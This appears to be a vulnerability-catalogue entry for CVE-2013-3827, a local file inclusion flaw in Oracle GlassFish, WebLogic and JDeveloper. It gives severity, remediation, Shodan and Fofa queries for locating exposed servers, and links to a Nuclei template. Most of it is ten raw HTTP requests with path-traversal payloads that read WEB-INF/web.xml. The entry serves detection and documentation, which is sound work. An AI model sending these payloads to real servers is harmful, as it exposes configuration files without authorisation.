| Title | Javafaces LFI |
|---|---|
| Author | Random-Robbie |
| Severity | Medium |
| Impact | Unauthenticated attackers can exploit local file inclusion through Java Server Faces resource handlers to read sensitive configuration files including WEB-INF/web.xml, exposing Oracle GlassFish, WebLogic, and JDeveloper application configurations. |
| Remediation | Apply the latest patches and updates for the affected software to fix the LFI vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.91635 |
| CVE ID | CVE-2013-3827 |
| CWE ID | NVD-CWE-noinfo |
| Shodan Query | http.title:"weblogic"http.html:"weblogic application server" |
| Fofa Query | title="weblogic"body="weblogic application server" |
| Tags | cve cve2013 edb lfi javafaces oracle vkev vuln |
An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web Container.
GET /faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /secureader/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /myaccount/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2013/CVE-2013-3827.yaml
🦈 Packet Capture: ⬇️ Download cve-2013-3827.pcap
N/AN/A